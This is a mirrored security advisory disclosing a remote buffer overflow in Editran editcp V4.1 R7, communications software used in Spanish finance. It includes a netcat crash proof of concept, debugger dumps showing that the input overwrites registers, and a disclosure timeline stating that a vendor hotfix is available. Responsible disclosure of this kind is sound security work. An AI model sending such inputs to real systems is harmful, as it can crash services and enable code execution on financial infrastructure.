Lucene search
K

Editran editcp 4.1 R7 Remote Buffer Overflow

🗓️ 06 Jul 2010 00:00:00Reported by Pedro AndujarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 49 Views

Editran editcp V4.1 R7 Remote Buffer Overflow in Spanish financial sector market standard software for data network communication

Code
` ===============================  
- Advisory -  
===============================  
  
Tittle: Editran editcp V4.1 R7 - Remote buffer overflow  
Risk: High  
Date: 25.Jun.2010  
Author: Pedro Andujar <pandujar *@* segfault.es>  
  
  
.: [ INTRO ] :.  
  
EDItran Communications Platform: this is the market standard for the Spanish financial sector in the area of communications.   
It comprises an exchange architecture between heterogeneous environments for data networks (tcp, x.25, x.28, LU6.2, SwiftNet)   
and the Internet. It is the only product homologated by BDE (Central Bank of Spain) for the transmission of Official Reporting.  
  
This software which is commercialized by Indra, is highly deployed in the financial, inssurance and gubernamental environments.  
  
  
.: [ TECHNICAL DESCRIPTION ] :.  
  
Editran editcp V4.1 R7 is prone to a remote buffer overflow because the software fails to perform adequate boundary checks on   
user-supplied data. This issue could allow a malicious user to perform denial of service attacks or run arbitrary code with the  
application context privileges on an affected server.  
  
  
This issue has been tested on Aix 5.3.9 ppc.  
  
  
pandujar@ITSec01 /tmp$ perl -e '{print "A"x91}' | nc 192.168.1.164 7777  
  
  
bash-3.2# tail -f editcp.out  
*** Arranque *** - editran - Tue Jun 22 14:53:02 CDT 2010  
editcp tcp V4.1 R7 - Jan 22 2007  
Copyright (C) 1991-2004 INDRA  
22/06/2010 14:53:02.627 editcp (372968) Licencia correcta (tcp).  
22/06/2010 14:53:02.627 editcp (372968) LISTEN TCP address 192.168.1.164:7777.  
22/06/2010 14:53:36.650 editcp (372968) Recibida señal (sig=11).  
  
bash-3.2# /tmp/dbx -C core  
reading symbolic information ...warning: no source compiled with -g  
  
Segmentation fault in lsConnectionCached at 0x10008298  
0x10008298 (lsConnectionCached+0x54) 7d69582e lwzx r11,r9,r11  
  
(/tmp/dbx) where  
lsConnectionCached(0x41ffffff) at 0x10008298  
SOCKSclose(0x41ffffff) at 0x10006548  
NetClose() at 0x100036d8  
SigHaltHandler(??) at 0x10000958  
SearchEvent(??) at 0x100037dc  
WaitForIncomingEvent() at 0x10003418  
WaitForEvent() at 0x10002e44  
main(??, ??) at 0x1000078c  
  
(/tmp/dbx) print $pc  
0x10008298  
  
(/tmp/dbx) registers  
$r0:0x100036dc $stkp:0x2ff1e090 $toc:0x20082164 $r3:0x41ffffff  
$r4:0x00000001 $r5:0x00000000 $r6:0x0000f0b2 $r7:0x00000001  
$r8:0x00000001 $r9:0x20083f60 $r10:0x00000002 $r11:0x08282828  
$r12:0x40445980 $r13:0x00000000 $r14:0x2ff1e200 $r15:0x000000a1  
$r16:0x00000002 $r17:0x200820f8 $r18:0xdeadbeef $r19:0xdeadbeef  
$r20:0x0000000b $r21:0x0000000b $r22:0x00012000 $r23:0x2ff47600  
$r24:0x00012000 $r25:0x00000000 $r26:0x0101ea00 $r27:0x2370b400  
$r28:0x00000000 $r29:0x2009c528 $r30:0x2008ab68 $r31:0x2ff1e090  
$iar:0x10008298 $msr:0x0000d0b2 $cr:0x44222224 $link:0x1000654c  
$ctr:0x00000000 $xer:0x00000000 $mq:0xdeadbeef  
  
(/tmp/dbx) listi main  
0x10000468 (main) 7c6802a6 mflr r3  
0x1000046c (main+0x4) 93a1fff4 stw r29,-12(r1)  
0x10000470 (main+0x8) 7c9d2378 mr r29,r4  
0x10000474 (main+0xc) 93c1fff8 stw r30,-8(r1)  
0x10000478 (main+0x10) 3bc00000 li r30,0x0  
0x1000047c (main+0x14) 90610008 stw r3,0x8(r1)  
0x10000480 (main+0x18) 93e1fffc stw r31,-4(r1)  
0x10000484 (main+0x1c) 9421faa8 stwu r1,-1368(r1)  
0x10000488 (main+0x20) 80640000 lwz r3,0x0(r4)  
0x1000048c (main+0x24) 3880002f li r4,0x2f  
  
  
If we increment the amount of "A"'s to 100, the whole r3 register is overwritten:  
  
(/tmp/dbx) frame  
lsConnectionCached(0x41414141) at 0x10008298  
  
(/tmp/dbx) dump  
lsConnectionCached(0x41414141) at 0x100082b4  
  
(/tmp/dbx) listi  
0x10008298 (lsConnectionCached+0x54) 7d69582e lwzx r11,r9,r11  
0x1000829c (lsConnectionCached+0x58) 7d495838 and r9,r10,r11  
0x100082a0 (lsConnectionCached+0x5c) 2c890000 cmpi cr1,0x0,r9,0x0  
0x100082a4 (lsConnectionCached+0x60) 40860010 bne cr1,0x100082b4 (lsConnectionCached+0x70)  
0x100082a8 (lsConnectionCached+0x64) 48000004 b 0x100082ac (lsConnectionCached+0x68)  
0x100082ac (lsConnectionCached+0x68) 38600000 li r3,0x0  
0x100082b0 (lsConnectionCached+0x6c) 48000098 b 0x10008348 (lsConnectionCached+0x104)  
0x100082b4 (lsConnectionCached+0x70) 60000000 ori r0,r0,0x0  
0x100082b8 (lsConnectionCached+0x74) 81220360 lwz r9,0x360(r2)  
0x100082bc (lsConnectionCached+0x78) 81690000 lwz r11,0x0(r9)  
  
(/tmp/dbx) listi lsConnectionCached  
0x10008244 (lsConnectionCached) 93e1fffc stw r31,-4(r1)  
0x10008248 (lsConnectionCached+0x4) 9421ffd8 stwu r1,-40(r1)  
0x1000824c (lsConnectionCached+0x8) 7c3f0b78 mr r31,r1  
0x10008250 (lsConnectionCached+0xc) 907f0040 stw r3,0x40(r31)  
0x10008254 (lsConnectionCached+0x10) 8122033c lwz r9,0x33c(r2)  
0x10008258 (lsConnectionCached+0x14) 81690000 lwz r11,0x0(r9)  
0x1000825c (lsConnectionCached+0x18) 2c8b0000 cmpi cr1,0x0,r11,0x0  
0x10008260 (lsConnectionCached+0x1c) 4186004c beq cr1,0x100082ac (lsConnectionCached+0x68)  
0x10008264 (lsConnectionCached+0x20) 813f0040 lwz r9,0x40(r31)  
0x10008268 (lsConnectionCached+0x24) 3960ffff li r11,-1  
  
  
Debug of live process, where the old r3 value is stored on r31:  
  
(/tmp/dbx) run  
editcp tcp V4.1 R7 - Jan 22 2007  
Copyright (C) 1991-2004 INDRA  
25/06/2010 16:31:39.903 editcp (356528) Licencia correcta (tcp).  
25/06/2010 16:31:39.903 editcp (356528) LISTEN TCP address 192.168.1.164:7777.  
  
Segmentation fault in SearchEvent at 0x100037dc ($t1)  
0x100037dc (SearchEvent+0x10) 7caa202e lwzx r5,r10,r4  
  
(/tmp/dbx) x  
$r0:0x00000001 $stkp:0x2ff1e5a0 $toc:0x20082164 $r3:0x00000001  
$r4:0x200855f8 $r5:0x200a46c0 $r6:0x00000df0 $r7:0x00000000  
$r8:0x00000000 $r9:0xf03a51b0 $r10:0x08282828 $r11:0x00000002  
$r12:0x100017bc $r13:0xdeadbeef $r14:0x00000001 $r15:0x2ff22c90  
$r16:0x2ff22c98 $r17:0x00000000 $r18:0xdeadbeef $r19:0xdeadbeef  
$r20:0xdeadbeef $r21:0xdeadbeef $r22:0xdeadbeef $r23:0x200820ec  
$r24:0x100033e0 $r25:0xdeadbeef $r26:0xdeadbeef $r27:0x00000001  
$r28:0x00000000 $r29:0x2009c528 $r30:0x20089c18 $r31:0x41414141  
$iar:0x100037dc $msr:0x0000d0b2 $cr:0x48222224 $link:0x1000341c  
$ctr:0xd03c46fc $xer:0x00000004 $mq:0xdeadbeef  
  
(/tmp/dbx) print $pc  
0x100037dc  
  
(/tmp/dbx) listi SearchEvent  
0x100037cc (SearchEvent) 80820088 lwz r4,0x88(r2)  
0x100037d0 (SearchEvent+0x4) 546ae8fa rlwinm r10,r3,0x1d,0x3,0x1d  
0x100037d4 (SearchEvent+0x8) 39600002 li r11,0x2  
0x100037d8 (SearchEvent+0xc) 546306fe rlwinm r3,r3,0x0,0x1b,0x1f  
0x100037dc (SearchEvent+0x10) 7caa202e lwzx r5,r10,r4  
0x100037e0 (SearchEvent+0x14) 7ca41e30 sraw r4,r5,r3  
0x100037e4 (SearchEvent+0x18) 70890001 andi. r9,r4,0x1  
0x100037e8 (SearchEvent+0x1c) 40820024 bne 0x1000380c (SearchEvent+0x40)  
0x100037ec (SearchEvent+0x20) 8102008c lwz r8,0x8c(r2)  
0x100037f0 (SearchEvent+0x24) 7cea402e lwzx r7,r10,r8  
  
(/tmp/dbx) listi lsConnectionCached  
0x10008244 (lsConnectionCached) 93e1fffc stw r31,-4(r1)  
0x10008248 (lsConnectionCached+0x4) 9421ffd8 stwu r1,-40(r1)  
0x1000824c (lsConnectionCached+0x8) 7c3f0b78 mr r31,r1  
0x10008250 (lsConnectionCached+0xc) 907f0040 stw r3,0x40(r31)  
0x10008254 (lsConnectionCached+0x10) 8122033c lwz r9,0x33c(r2)  
0x10008258 (lsConnectionCached+0x14) 81690000 lwz r11,0x0(r9)  
0x1000825c (lsConnectionCached+0x18) 2c8b0000 cmpi cr1,0x0,r11,0x0  
0x10008260 (lsConnectionCached+0x1c) 4186004c beq cr1,0x100082ac (lsConnectionCached+0x68)  
0x10008264 (lsConnectionCached+0x20) 813f0040 lwz r9,0x40(r31)  
0x10008268 (lsConnectionCached+0x24) 3960ffff li r11,-1  
  
  
.: [ CHANGELOG ] :.  
  
* 22/Jun/2010: - Vulnerability discovered.  
* 22/Jun/2010: - Vendor contacted.  
* 23/Jun/2010: - Vendor response providing hotfix.  
* 05/Jul/2010: - Public disclosure.  
  
  
.: [ SOLUTIONS ] :.  
  
Vendor hotfix is available.  
  
  
.: [ ACKNOWLEDGEMENTS ] :.  
  
Ricardo @Indra for the quick response and patch.  
  
  
.: [ REFERENCES ] :.  
  
[+] Editran   
http://www.editran.info/  
  
[+] Indra  
http://www.indracompany.com/en/soluciones-y-servicios/solucion/digital-market/offering  
  
[+] Indra/PPT  
http://bit.ly/9JTeiL  
  
[+] Banco de España  
http://www.bde.es/webbde/es/secciones/servicio/redbde/redbde.html  
  
[+] !dSR - Digital Security Research  
http://www.digitalsec.net/  
  
  
  
  
-=EOF=-  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation